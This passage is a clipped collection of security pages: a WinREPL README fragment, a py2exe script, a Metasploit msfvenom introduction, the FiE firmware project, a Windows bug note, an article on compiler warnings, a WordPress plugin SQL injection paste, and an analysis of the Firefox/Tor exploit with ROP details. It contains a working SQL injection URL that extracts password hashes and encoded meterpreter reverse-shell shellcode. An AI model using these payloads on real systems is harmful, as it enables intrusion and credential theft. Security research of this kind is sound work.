  3. Better error handling for debug events
  4. Better command mappings
  5. Support for AT&T syntax
  6. Support for ARM architecture
  7. Perhaps integration with Unicorn for obscure architectures?
  8. Print useful error messages for debug exceptions like access violations

### Building

As I don't want to go to prison, the provided binaries
\(./bin/winrepl\_x86.exe and ./bin/winrepl\_x64.exe\) are not backdoored. That
said, this program works via sorcery that is probably suspicious to antivirus.

You may wish to build from source for various reasons. At this time, all
development is done in VS2015. If you use a different version, you will need
to re-compile the Keystone .lib files with the same Microsoft compiler
\(cl.exe\). Refer to http://www.keystone-engine.org/

### License

The project statically links Keystone and must therefore be GPLv2.

  

# Mubix's Links: “Compile” python to a single executable

**Created:**| _6/19/2009 8:42:26 AM_  
---|---  
**Updated:**| _6/19/2009 8:44:16 AM_  
**Author:**| __  
**Tags:**| _python_  
  

### “Compile” python to a single executable

Here is a script David Kennedy \(ReL1K\) sent me a while back when we wrote a
trojan for the Cyber Collegiate Defense Competition:

> Just download py2exe, python setup.py install, then you have py2exe
> installed....  
>  
> Say you have a file moo.py you want to compile, just take the code below and
> put it in a file called compile.py or something, modify it to change
> 'moo.py' to whatever py you want to compile and run python compile.py build
> py2exe and your all done. Super simple.  
>
>  
> from distutils.core import setup  
> import py2exe, sys, os  
> \# Hot Sex  
> sys.argv.append\('py2exe'\)  
>  
> setup\(  
>  options = \{'py2exe': \{'bundle\_files': 1\}\},  
>  console= \[\{'script': "moo.py"\}\],  
>  zipfile = None,  
> \)
>  
>
>  
>
> \# If you add compression and optimize settings to the options dictionary it
> will optimize the executable that it produces and zlib compresses it. This
> will effectively speed up your program's execution and shrink its size down.  
>  
> from distutils.core import setup  
> import py2exe, sys, os  
>  
> sys.argv.append\('py2exe'\)  
>  
> setup\(  
> options = \{'py2exe': \{'bundle\_files': 1,'compressed': 1, 'optimize':
> 2\}\},  
> console = \[\{'script': "moo.py"\}\],  
> zipfile = None,  
> \)  
>
>  
>
> kudos to ReL1K ;\) - maybe fasttrack will use this?

# Rapid7 Community: Metasploit: Introducing msfvenom

**Created:**| _5/25/2011 3:32:40 PM_  
---|---  
**Updated:**| _5/25/2011 3:32:45 PM_  
**Author:**| __  
**Tags:**| _Metasploit_  
  

Wird gerade moderiert

<img src='img/Temp2_6751.png' width='32' height='32' alt='bannedit' />

## Introducing msfvenom

Gepostet von bannedit am 24.05.2011 14:45:35

The Metasploit Framework has included the useful tools _msfpayload_ and
_msfencode_ for quite sometime. These tools are extremely useful for
generating payloads in various formats and encoding these payloads using
various encoder modules. Now I would like to introduce a new tool which I have
been working on for the past week, _msfvenom_. This tool combines all the
functionality of _msfpayload_ and _msfencode_ in a single tool.

Merging these two tools into a single tool just made sense. It standardizes
the command line options, speeds things up a bit by using a single framework
instance, handles all possible output formats, and brings some sanity to
payload generation.

The usage of msfvenom is fairly straight forward:

[code]

    fahrenheit:msf3 bannedit$ ./msfvenom -h
    Usage: ./msfvenom [options] <var=val>
    
    Options:
        -p, --payload    [payload]       Payload to use. Specify a '-' or stdin to use custom payloads
        -l, --list       [module_type]   List a module type example: payloads, encoders, nops, all
        -n, --nopsled    [length]        Prepend a nopsled of [length] size on to the payload
        -f, --format     [format]        Format to output results in: raw, ruby, rb, perl, pl, c, js_be, js_le, java, dll, exe, exe-small, elf, macho, vba, vbs, loop-vbs, asp, war
        -e, --encoder    [encoder]       The encoder to use
        -a, --arch       [architecture]  The architecture to use
            --platform   [platform]      The platform of the payload
        -s, --space      [length]        The maximum size of the resulting payload
        -b, --bad-chars  [list]          The list of characters to avoid example: '\x00\xff'
        -i, --iterations [count]         The number of times to encode the payload
        -x, --template   [path]          Specify a custom executable file to use as a template
        -k, --keep                       Preserve the template behavior and inject the payload as a new thread
        -h, --help                       Show this message
    
    
[/code]

All these options are mappings of the _msfpayload_ and _msfencode_ options.
Some minor things were changed to standardize things a bit. One change was the
method of specifying the payload. The -p flag must be used to set the payload.
The var=val pairs used to setup the datastore options for the payload still
work the same way as _msfpayload_ and can occur anywhere within the command
line.

Here is an example of using the tool to encode a meterpreter/reverse\_tcp
payload:

[code]

    fahrenheit:msf3 bannedit$ msfvenom -p windows/meterpreter/reverse_tcp -f ruby -e -i 3 -s 480 LHOST=192.168.0.120
    [*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)
    [*] x86/shikata_ga_nai succeeded with size 344 (iteration=2)
    [*] x86/shikata_ga_nai succeeded with size 371 (iteration=3)
    buf = 
    "\xd9\xf7\xd9\x74\x24\xf4\xbb\x9c\xec\xea\x8a\x5f\x2b\xc9"+
    "\xb1\x50\x31\x5f\x18\x03\x5f\x18\x83\xef\x60\x0e\x1f\x31"+
    "\x11\xe0\xa4\x2a\xfb\x23\xfd\xc7\xdf\x2f\xa4\x16\xd6\x61"+
    "\x10\x68\xb2\x95\x20\x60\xbe\x95\x7c\x65\x55\x40\x38\x01"+
    "\x4b\x51\x78\x5f\x1f\x36\xde\x3b\x99\x8c\xb2\x11\xb3\x8d"+
    "\x2d\x4c\x66\x7c\xbd\x02\x0b\xa6\xa9\x1a\x32\x65\xcf\x75"+
    "\xe8\x15\x1a\x62\x5f\x69\xe1\xdd\x90\x2e\x2e\x40\xe0\xb7"+
    "\x8b\x16\xfe\x15\xdc\x34\x4c\x4e\x18\x18\x03\x46\x22\xff"+
    "\xa8\x9b\xf0\xd5\x4f\xe0\xfd\xab\x71\x6e\x43\x03\xd5\x28"+
    "\x07\x29\x5e\xad\x8f\xd8\xaf\xbd\x69\x06\xf1\xd1\x4e\x9b"+
    "\x01\x7d\x5a\x75\x54\x76\x90\xdb\x5e\x7b\x97\x37\xa4\xab"+
    "\x2d\xe2\x17\x8e\xcf\x4b\xd0\x3f\xef\xc6\xff\xe5\x1c\xc3"+
    "\x99\x04\x15\x2e\xce\x5e\x16\x86\x5a\x2f\x62\x0a\x32\xe5"+
    "\xe1\xa4\xd3\x32\x92\x13\xfd\xcf\xb6\xa2\x8b\x97\xce\xf8"+
    "\x27\x12\xb0\x6f\xb5\xa8\x91\x30\x2c\x14\x40\x2f\x43\xd8"+
    "\x45\x46\xd0\x4c\x58\x59\x8d\x78\x47\xb2\xda\x79\x6c\xfa"+
    "\x07\x43\x18\xc4\x07\x0e\x2f\xd0\x71\x84\xcb\x1c\xab\x01"+
    "\xb0\x17\xed\x07\x1b\xb0\xcf\xd1\x25\xc1\x9b\x62\x7c\xac"+
    "\x43\x2e\x52\x36\xb1\xfc\x61\xbc\x0e\x56\xdc\xe1\x9d\xc2"+
    "\x29\x3f\xe9\xf3\xb1\xe2\x72\x77\x99\x4b\xf3\xfc\x83\xd2"+
    "\x19\x6d\x53\x4c\x64\xa0\xdd\x38\x82\x3d\x15\x66\x38\x96"+
    "\x39\xb3\xa4\xe3\xff\x07\xb7\x8a\x23\xca\xc6\xaf\x57\x64"+
    "\x3d\xf3\x23\x63\x42\x30\x90\x3b\x67\x26\x81\x24\x61\xc3"+
    "\xe4\x51\x75\x30\x47\xf8\x15\xcb\x21\xe9\x2a\x30\x9d\x04"+
    "\x28\xe3\x37\xb0\xa4\xaa\x1e\xf3"
    
    
[/code]

The above example generates a meterpreter/reverse\_tcp payload in the ruby
output format. The payload is encoded three times using shikata\_ga\_nai which
was automatically choosen based on the encoder modules ranking. The -s option
specifies the output should not exceed 480 bytes. Finally the
LHOST=192.168.0.120 portion of the command sets the LHOST variable for use
with in the payload.

The following shows a quick speed comparison of the tools performing the same
task:

[code]

    fahrenheit:msf3 bannedit$ time ./msfvenom -p windows/meterpreter/reverse_tcp -e -i 3 LHOST=192.168.0.120 -f ruby 1> /dev/null
    [*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)
    [*] x86/shikata_ga_nai succeeded with size 344 (iteration=2)
    [*] x86/shikata_ga_nai succeeded with size 371 (iteration=3)
    
    real    0m2.744s
    user    0m2.380s
    sys    0m0.367s
    
    fahrenheit:msf3 bannedit$ time ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.120 R|./msfencode -c 3 1> /dev/null
    [*] x86/shikata_ga_nai succeeded with size 321 (iteration=1) 
    [*] x86/shikata_ga_nai succeeded with size 348 (iteration=2)
    [*] x86/shikata_ga_nai succeeded with size 375 (iteration=3) 
    
    real    0m3.070s
    user    0m4.227s
    sys    0m0.778s
    
    
[/code]

We can see _msfvenom_ is slightly faster due to the use of a single framework
instance.

The tool is still in its infancy and I am sure there are still a few bugs, so
don't hesitate to give me feedback. If you find a bug or have a feature idea
feel free to make a redmine ticket on https://dev.metasploit.com. We will be
shipping _msfpayload_ and _msfencode_ as a fallback until _msfvenom_ has
matured a little more.

# FiE on Firmware\!

**Created:**| _1/16/2014 3:27:13 PM_  
---|---  
**Updated:**| _1/16/2014 3:27:13 PM_  
**Author:**| __  
**Tags:**| _analysis Firmware binary_  
  

#  **F** iE on Firmware\!

### Finding Vulnerabilities in Embedded Systems Using Symbolic Execution****

<img src='img/Temp2_3137.png' width='200' />

## About****

FiE is a symbolic execution engine based on KLEE, specifically targeted for
finding vulnerabilities in the firmware of MSP430 Microcontrollers**.**

## People****

Drew Davidson  • Ben Moench • Somesh Jha  •  Thomas Ristenpart

## Publications****

FIE on Firmware: Finding Vulnerabilities in Embedded Systems Using Symbolic
Execution  
USENIX Security 2013

* * *
## Using FiE****

Download  • Getting Started

## Contact****

Drew Davidson : davidson@cs.wisc.edu ****

# Expert: Miami

**Created:**| _8/12/2010 4:57:30 PM_  
---|---  
**Updated:**| _8/12/2010 4:57:30 PM_  
**Author:**| _wishi_  
**Tags:**| __  
  

## Tuesday, August 10, 2010

### Et un 42e bug dans xxxCreateWindowEx

Celui merite le detour dans la mesure ou il etait connu depuis 2007:  
  
http://social.msdn.microsoft.com/Forums/en-
US/windowsgeneraldevelopmentissues/thread/57c3783b-dd38-4a57-9217-61a920541ad0  
  
En retournant un pseudo handle HWND\_TOPMOST dans le champ hwndInsertAfter
d'un hook WH\_CBT, on aboutit a une violation d'acces, exploitable si l'on
mappe l'espace a NULL \(difficilement, mais Ronald a fait quelque chose de
plus ou moins stable\).  
  
Les personnes susceptibles de Googler "windows bluescreen" auront eu un local
0day pendant 3 ans 1/2. Malheureusement, Core Security l'a tue\(r\), et a ete
credite a la place de "JonnyDeep" qui a fait l'effort de le reporter mais n'a
pas ete ecoute par MS \(ils devraient lire leurs propres forums de temps en
temps\!\).  
  
C'est dingue ce que l'on trouve sur le Windows Developer Center :\)  
  
**Edit** : Et aussi, contrairement a la precedente, la vulnerabilite n'est pas
specifiee comme ayant ete connue du public. Duree de vie: 1301 jours \(pour
ceux qui veulent faire des slides sur les 0days\).

# Static code analysis and compiler warnings

**Created:**| _5/7/2017 10:45:01 AM_  
---|---  
**Updated:**| _5/7/2017 10:45:01 AM_  
**Author:**| __  
**Tags:**| _compilers sast_  
  

  

# Static code analysis and compiler warnings

Sunday, May 8, 2016 •  Jussi Judin •  <img src='img/Temp2_7716.png' width='48'
height='12' alt='Article identicon' />

Compiler generated warnings are one form of static code analysis that provides
a codified form of certain types of beneficial programming practices. Nowadays
modern compilers used to compile C family languages \(C, C++, and
Objective-C\) provide hundreds of different warnings whose usefulness varies
depending on project and its aims.

In this article I will examine what level of issues compiler warnings can
find, what is the cost of enabling warnings and analyze compiler warning flag
lists for both clang and GCC compilers.

# Levels of static code analysis

Compiling C family languages usually involves preprocessor, compiler,
assembler, and a linker. This also leads to situation that static code
analysis can be done in various phases of program construction. These
generally are:

  * Analysis on plain source files.
  * Analysis on preprocesses source files.
  * Analysis on compilation unit level.
  * Link-time analysis.

This multi-stage program construction results in difficulties for tools that
are not called with the exact same arguments providing information about
preprocessor definitions, and include and library directories. For example
tools like splint, Cppcheck, and many editor front-ends work outside the build
system and can result in false warnings because they can not see inside some
macro definitions that were not included in the simple static analysis setup.
This becomes an issue with larger projects that do not necessarily have the
most straightforward build setups and the most trivial header file inclusion
policies. This does not mean that such tools are useless, but they will result
in false positive warnings that can be really annoying unless they are
silenced or ignored in some way.

Analysis on preprocessed source files already provides pretty accurate picture
of what kind of issues there can be in the program, but it necessarily is not
enough. In the compilation phase compilers constantly transform the program
into new, functionally equivalent, forms during optimization phases that can
even result in unexpected code removal that is not necessarily trivial to
notice. Compilation phase also gives more opportunities for target platform
specific static code analysis. For example pipeline stalls or value overflows
due to incorrect assumptions on data type sizes can usually be noticed only
after the target platform is known.

Final phase in program construction, that provides options for static
analysis, is the linking phase. In the linking phase linker takes care that
all the functions and global variables that the program calls come from
somewhere and that there are no conflicting duplicate names defined. This
should also enable some automatic detection capabilities for memory leaks and
such that come from calling functions defined in different compilation units.
I’m not sure if any freely available static analyzer does this.

# Compiler warning flags

Compiler warning flags are one way to do static code analysis that cover all
possible phases of program construction. This assumes that the compiler is
involved in all phases of program construction. And they usually are, as in
all phases from preprocessing to linking compiler front-end is used as a
wrapper to all the tools that do the actual hard work.

## Warning flags and compilation time

Using static code analysis in form of compiler warnings incurs some penalty,
as they need to execute some extra code in addition to normal code related to
compilation. To measure the penalty and to contrast it with some more advanced
static analysis tools,

I did some benchmarks by compiling Cppcheck 1.73 and FFTW 3.3.4 with clang
3.8, GCC 6.1, and Infer 0.8.1 by using `-O3` optimization level. Cppcheck is a
program mainly written in C++ and FFTW is mainly written in C. Infer has some
experimental checks for C++ enabled with `--cxx` command line option, so I ran
Infer twice for Cppcheck, with and without C++ checks. Clang had all warnings
enabled `-Weverything` and GCC had all warning options that did not require
any special values. This resulted in following minimum execution times of 3
runs:

Compiler | Program | No warnings | All warnings  
---|---|---|---  
clang | Cppcheck | 59.3 s | 1 min 1.1 s \(+ 3.0 %\)  
GCC | Cppcheck | 1 min 32.7 s | 1 min 38.8 s \(+ 6.6 %\)  
Infer | Cppcheck | - | 17 min 50 s \(18x slower\)  
Infer `--cxx` | Cppcheck | - | 1 h 36 min \(**97x slower**\)  
clang | FFTW | 40.5 s | 40.9 s \(+ 1 %\)  
GCC | FFTW | 42.7 s | 58.1 s \(**\+ 36 %**\)  
Infer | FFTW | - | 4 min 43 s \(10x slower\)  
We can see that for clang and GCC the extra processing time added even by all
warnings flags is pretty small compared to all the other compilation and
optimization steps for a C++ application \(Cppcheck\). But for mostly C based
application \(FFTW\) GCC gets surprisingly heavy, although build times still
remain within the same order of magnitude.

If we then compare the time that a more heavy static code analyzer takes,
these compiler warnings are extremely cheap way to add static code analysis.
They may not catch all the same bugs as these more advanced methods do, but
they do offer a cheap way to avoid the basic mistakes.

# Warning flag lists

I have created a project that can automatically parse compiler warning flags
from command line option definition files in clang and GCC. This came
partially from a necessity and partially from curiosity to examine what kind
of options clang and GCC provide in easy to digest format. Although both
compiler provide some kind of lists of warning flags as part of their
documentation, they are pretty cumbersome to go through when the main interest
is first figure what there is available and then just look at the details.

## Warning options and deprecation

Different compilers have different policies about backwards compatibility and
deprecation. When looking at how warning options have evolved, GCC has not
removed between versions 3.4 and 6.1 a single switch, it has just switched
them to do nothing \(`-Wimport`, `-Wunreachable-code`, and `-Wmudflap`
switches\). Clang on the other hand has removed multiple switches between
versions and for example there is no references to `-Wcxx98-cxx11-compat` in
the current codebase even if clang 3.3 had such switch.

## Examining differences visually

Generating large purely textual differences between different files becomes
quite cumbersome quite soon if you want to do anything more complicated than a
simple difference of unique command line options between two subsequent
versions. For example if we look at figure 1 that shows what other warnings
`-Wall` flag enables in GCC 6 when compared to GCC 5. We can see that there
are quite many extra warnings added to `-Wall` switch so newer compiler
versions provide extra analysis capabilities even without adding all the new
options individually.

<img src='img/Temp2_7715.png' width='700' height='469' alt='Meld showing
differences what flags-Wall enables between GCC 5 and 6.' />

Figure 1: Meld showing differences what flags `-Wall` enables between GCC 5
and 6.

From figure 2 we can also see that GCC 6 uses `-Wc++11-compat` as the default
warning flag indicating differences between ISO C++ 1998 and ISO C++ 2011 for
constructs that have the same name instead of `-Wc++0x-compat`, that refers to
a draft standard. So GCC has basically deprecated `-Wc++0x-compat` switch in
favor of a switch that refers to the actual standard.

<img src='img/Temp2_7714.png' width='700' height='99' alt='-Wc++0x-compat is
an alias of -Wc++11-compat in GCC 6 instead the other way around.' />

Figure 2: `-Wc++0x-compat` is an alias of `-Wc++11-compat` in GCC 6 instead
the other way around.

# Suggestions for usable warning options

I won’t be giving any specific suggestions here for warning flags, as there
seem to be new options for each subsequent compiler release. A good place to
start is NASA’s JPL Institutional Coding Standard for the C Programming
Language that includes a very short list of rudimentary warning flags for GCC.
It also includes a short list of coding standards of which each one would have
prevented a mission failure for NASA. SEI CERT coding standards for secure
coding also provide various automatically generated lists for clang warning
flags and GCC warning flags based on the issues that these standards take into
account.

And finally, check out the warning flag lists for clang and GCC and make your
own combinations that bring the most benefit for whatever you are working
with. Not all of them are appropriate for your project and some of them may be
even working against the useful development patterns that you have.

## Cautionary tales about compiler warnings flags

Even though it might sound like a good idea to rush and fix all the issues
that these new compiler warning flags uncover, it might actually cause some
new bugs to pop up. Specifically SQLite database engine has had its own take
on compiler warnings and their fixing and they have concluded that fixing
compiler warnings actually has produced some extra bugs that would not have
come into light if there would have not been tries to fix compiler warnings.

I have also had my own take on compiler warning fixes and sometimes I have
screwed up and messed up with a perfectly working code while fixing a
misleading warning. But generally my own experience has lead to more fixes
than what there have been bugs. And the coolest thing is, that having these
warnings enabled as the standard development process prevent some bugs from
ever creeping up to the application in the first place.

  

# Wordpress "wp star rating" plugin SQL injection http://yourwordpress/wp-
conte - Pastebin.com

**Created:**| _6/9/2011 11:22:30 AM_  
---|---  
**Updated:**| _6/9/2011 11:22:30 AM_  
**Author:**| __  
**Tags:**| _LOLZ Logs xss_  
  

  1. Wordpress "wp star rating" plugin SQL injection
  2.   3. http://yourwordpress/wp-content/plugins/gd-star-rating/ajax.php?\_wpnonce=<insert\_valid\_nonce>&vote\_type=cache&vote\_domain=a&votes=asr.1.xxx.1.2.5+limit+0+union+select+1,0x535242,1,1,co
  4. ncat\(0x613a313a7b733a363a226e6f726d616c223b733a323030303a22,substring\(concat\(\(select+concat\(user\_nicename,0x3a,user\_email,0x3a,user\_login,0x3a,user\_pass\)+from+wp\_users+where+length\(user\_pass\)%3E0+order+by+id+limit+0,1\),repeat\(0x20,2000\)\),1,2000\),0x223b7d\),1,1,1+limit+1

# Metasploit: Here's that FBI Firefox Exploit for... | SecurityStreet
**Created:**| _10/14/2013 12:01:08 PM_  
---|---  
**Updated:**| _10/14/2013 12:01:08 PM_  
**Author:**| __  
**Tags:**| _Exploit Metasploit browser_  
  

# **M** etasploit: Here's that FBI Firefox Exploit for..**.**

Hello fellow hackers,

I hope you guys had a blast at Defcon partying it up and hacking all the
things, because ready or not, here's more work for you**.** During the second
day of the conference, I noticed a reddit post  regarding some Mozilla Firefox
0day possibly being used by the FBI in order to identify some users using Tor
for crackdown on child pornography**.** The security community was amazing:
within hours, we found more information such as brief analysis about the
payload, simplified PoC, bug report on Mozilla, etc**.** The same day, I flew
back to the Metasploit hideout \(with Juan already there\), and we started
playing catch-up on the vulnerability**.**

### Brief Analysis****

The vulnerability was originally discovered and reported by researcher
"nils"**.** You can see his discussion about the bug on Twitter **.** A proof-
of-concept can be found here **.**

We began with a crash with a modified version of the PoC:

[code]

    eax=72622f2f ebx=000b2440 ecx=0000006e edx=00000000 esi=07adb980 edi=065dc4ac
    eip=014c51ed esp=000b2350 ebp=000b2354 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
    xul**!** DocumentViewerImpl::Stop+0x58:
    014c51ed 8b08            mov     ecx,dword ptr [eax]  ds:0023:72622f2f=**?****?**??**?**??**?**
    
[/code]

EAX is a value from ESI. One way to track where this allocation came from is
by putting a breakpoint at moz\_xmalloc:

[code]

    ..**.**
    bu mozalloc!moz_xmalloc+0xc "r $t0=poi(esp+c); .if (@$t0==0xc4) {.printf \"Addr=0x%08x, Size=0x%08x\",eax, @$t0; .echo; k; .echo}; g"
    ..**.**
    Addr=0x07adb980, Size=0x000000c4
    ChildEBP RetAddr
    0012cd00 014ee6b1 mozalloc**!** moz_xmalloc+0xc [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\memory\mozalloc\mozalloc.cpp @ 57]
    0012cd10 013307db xul**!** NS_NewContentViewer+0xe [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\layout\base\nsdocumentviewer.cpp @ 497]
    
[/code]

The callstack tells us this was allocated in nsdocumentviewer.cpp, at line
497, which leads to the following function**.** When the DocumentViewerImpl
object is created while the page is being loaded, this also triggers a
malloc\(\) with size 0xC4 to store that:

  1. nsresult 
  2. NS\_NewContentViewer\(nsIContentViewer\*\* aResult\) 
  3. \*aResult = new DocumentViewerImpl\(\); 
  4. NS\_ADDREF\(\*aResult\); 
  5. return NS\_OK; 

[code]

    nsresult
    NS_NewContentViewer(nsIContentViewer** aResult)
    {
      *aResult = new DocumentViewerImpl();
      NS_ADDREF(*aResult);
      return NS_OK;
    }
    
    
    
    
    
    
    
    
    
    
    
    
[/code]

In the PoC, window.stop\(\) is used repeatedly that's meant to stop document
parsing, except they're actually not terminated, just hang**.** Eventually
this leads to some sort of exhaustion and allows the script to continue, and
the DocumentViewerImpl object lives on**.** And then we arrive to the next
line: ownerDocument.write\(\)**.**

The ownerDocument.write\(\) function is used to write to the parent frame, but
the real purpose of this is to trigger xul**\!** nsDocShell::Destroy, which
deletes DocumentViewerImpl:

[code]

    Free DocumentViewerImpl at: 0x073ab940
    ChildEBP RetAddr  
    000b0b84 01382f42 xul**!** DocumentViewerImpl::`scalar deleting destructor'+0x10
    000b0b8c 01306621 xul**!** DocumentViewerImpl::Release+0x22 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\layout\base\nsdocumentviewer.cpp @ 548]
    000b0bac 01533892 xul**!** nsDocShell::Destroy+0x14f [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\docshell\base\nsdocshell.cpp @ 4847]
    000b0bc0 0142b4cc xul**!** nsFrameLoader::Finalize+0x29 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\content\base\src\nsframeloader.cpp @ 579]
    000b0be0 013f4ebd xul**!** nsDocument::MaybeInitializeFinalizeFrameLoaders+0xec [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\content\base\src\nsdocument.cpp @ 5481]
    000b0c04 0140c444 xul**!** nsDocument::EndUpdate+0xcd [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\content\base\src\nsdocument.cpp @ 4020]
    000b0c14 0145f318 xul**!** mozAutoDocUpdate::~mozAutoDocUpdate+0x34 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\content\base\src\mozautodocupdate**.** h @ 35]
    000b0ca4 014ab5ab xul!nsDocument::ResetToURI+0xf8 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\content\base\src\nsdocument.cpp @ 2149]
    000b0ccc 01494a8b xul**!** nsHTMLDocument::ResetToURI+0x20 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\content\html\document\src\nshtmldocument.cpp @ 287]
    000b0d04 014d583a xul**!** nsDocument::Reset+0x6b [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\content\base\src\nsdocument.cpp @ 2088]
    000b0d18 01c95c6f xul**!** nsHTMLDocument::Reset+0x12 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\content\html\document\src\nshtmldocument.cpp @ 274]
    000b0f84 016f6ddd xul**!** nsHTMLDocument::Open+0x736 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\content\html\document\src\nshtmldocument.cpp @ 1523]
    000b0fe0 015015f0 xul**!** nsHTMLDocument::WriteCommon+0x22a4c7 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\content\html\document\src\nshtmldocument.cpp @ 1700]
    000b0ff4 015e6f2e xul**!** nsHTMLDocument::Write+0x1a [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\content\html\document\src\nshtmldocument.cpp @ 1749]
    000b1124 00ae1a59 xul**!** nsIDOMHTMLDocument_Write+0x537 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\obj-firefox\js\xpconnect\src\dom_quickstubs.cpp @ 13705]
    000b1198 00ad2499 mozjs**!** js::InvokeKernel+0x59 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\js\src\jsinterp.cpp @ 352]
    000b11e8 00af638a mozjs**!** js::Invoke+0x209 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\js\src\jsinterp.cpp @ 396]
    000b1244 00a9ef36 mozjs**!** js::CrossCompartmentWrapper::call+0x13a [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\js\src\jswrapper.cpp @ 736]
    000b1274 00ae2061 mozjs**!** JSScript::ensureRanInference+0x16 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\js\src\jsinferinlines**.** h @ 1584]
    000b12e8 00ad93fd mozjs**!** js::InvokeKernel+0x661 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\js\src\jsinterp.cpp @ 345]
    
[/code]

What happens next is after the ownerDocument.write\(\) finishes, one of the
window.stop\(\) calls that used to hang begins to finish up, which brings us
to xul**\!** nsDocumentViewer::Stop**.** This function will access the invalid
memory, and crashes**.** At this point you might see two different racy
crashes: Either it's accessing some memory that doesn't seem to be meant for
that CALL, just because that part of the memory happens to fit in there**.**
Or you crash at mov ecx, dword ptr \[eax\] like the following:

[code]

    0:000> r
    eax=41414141 ebx=000b4600 ecx=0000006c edx=00000000 esi=0497c090 edi=067a24ac
    eip=014c51ed esp=000b4510 ebp=000b4514 iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
    xul**!** DocumentViewerImpl::Stop+0x58:
    014c51ed 8b08            mov     ecx,dword ptr [eax]  ds:0023:41414141=**?****?**??**?**??**?**
    
    0:000> u . L3
    014c51ed 8b08            mov     ecx,dword ptr [eax]
    014c51ef 50              push    eax
    014c51f0 ff5104          call    dword ptr [ecx+4]
    
[/code]

However, note the crash doesn't necessarily have to end in xul**\!**
nsDocumentViewer::Stop, because in order to end up this in code path, it
requires two conditions, as the following demonstrates:

  1. DocumentViewerImpl::Stop\(void\) 
  2. NS\_ASSERTION\(mDocument, "Stop called too early or too late"\); 
  3. if \(mDocument\) \{ 
  4. mDocument->StopDocumentLoad\(\); 
  5. if \(**\!** mHidden && \(mLoaded || mStopped\) && mPresContext && **\!** mSHEntry\) 
  6. mPresContext->SetImageAnimationMode\(imgIContainer::kDontAnimMode\); 
  7. mStopped = true; 
  8. if \(**\!** mLoaded && mPresShell\) \{ // These are the two conditions that must be met 
  9. // If you're here, you will crash 
  10. nsCOMPtrshellDeathGrip\(mPresShell\); 
  11. mPresShell->UnsuppressPainting\(\); 
  12. return NS\_OK; 

[code]

    DocumentViewerImpl::Stop(void)
    {
      NS_ASSERTION(mDocument, "Stop called too early or too late");
      if (mDocument) {
        mDocument->StopDocumentLoad();
      }
    
      if (**!** mHidden && (mLoaded || mStopped) && mPresContext && **!** mSHEntry)
        mPresContext->SetImageAnimationMode(imgIContainer::kDontAnimMode);
    
      mStopped = true;
    
    if (**!** mLoaded && mPresShell) {  // These are the two conditions that must be met
        // If you're here, you will crash
        nsCOMPtrshellDeathGrip(mPresShell);
        mPresShell->UnsuppressPainting();
    }
    
      return NS_OK;
    }
    
    
    
    
    
    
    
    
    
    
[/code]

We discovered the above possibility due to the exploit in the wild using a
different path to "call dword ptr \[eax+4BCh\]" in function
nsIDOMHTMLElement\_GetInnerHTML, meaning that it actually survives in
xul**\!** nsDocumentViewer::Stop. It's also using an information leak to
properly craft a NTDLL ROP chain specifically for Windows 7**.** The following
example based on the exploit in the wild should demonstrate this, where we
begin with the stack pivot:

[code]

    eax=120a4018 ebx=002ec00c ecx=002ebf68 edx=00000001 esi=120a3010 edi=00000001
    eip=66f05c12 esp=002ebf54 ebp=002ebf8c iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
    xul**!** xpc_LocalizeContext+0x3ca3f:
    66f05c12 ff90bc040000    call    dword ptr [eax+4BCh] ds:0023:120a44d4=33776277
[/code]

We can see that the pivot is a XCHG EAX,ESP from NTDLL:

[code]

    0:000> u 77627733 L6
    ntdll**!** __from_strstr_to_strchr+0x9b:
    77627733 94              xchg    eax,esp
    77627734 5e              pop     esi
    77627735 5f              pop     edi
    77627736 8d42ff          lea     eax,[edx-1]
    77627739 5b              pop     ebx
    7762773a c3              ret
    
[/code]

After pivoting, it goes through the whole NTDLL ROP chain, which calls
ntdll**\!** ZwProtectVirtualMemory to bypass DEP, and then finally gains code
execution:

[code]

    0:000> dd /c1 esp L9
    120a4024  77625f18 ; ntdll**!** ZwProtectVirtualMemory
    120a4028  120a5010
    120a402c  ffffffff
    120a4030  120a4044
    120a4034  120a4040
    120a4038  00000040
    120a403c  120a4048
    120a4040  00040000
    120a4044  120a5010
    
[/code]

Note: The original exploit does not seem to go against Mozilla Firefox 17 \(or
other buggy versions\) except for Tor Browser, but you should still get a
crash**.** We figured whoever wrote the exploit didn't really care about
regular Firefox users, because apparently they got nothing to hide :-\)

### Metasploit Module****

Because of the complexity of the exploit, we've decided to do an initial
release for Mozilla Firefox  for now**.** An improved version of the exploit
is already on the way, and hopefully we can get that out as soon as possible,
so keep an eye on the blog and msfupdate, and stay tuned**.** Meanwhile, feel
free to play FBI in your organization, excise that exploit on your next social
engineering training campaign**.**

<img src='img/Temp2_5320.png' alt='Screen Shot 2013-08-07 at 2.10.40 AM.png'
/>

### Mitigation****

Protecting against this exploit is typically straightforward: All you need to
do is upgrade your Firefox browser \(or Tor Bundle Browser, which was the true
target of the original exploit\)**.** The vulnerability was patched and
released by Mozilla back in late June of 2013, and the TBB was updated a
couple days later, so the world has had a little over a month to get with the
patched versions**.** Given that, it would appear that the original
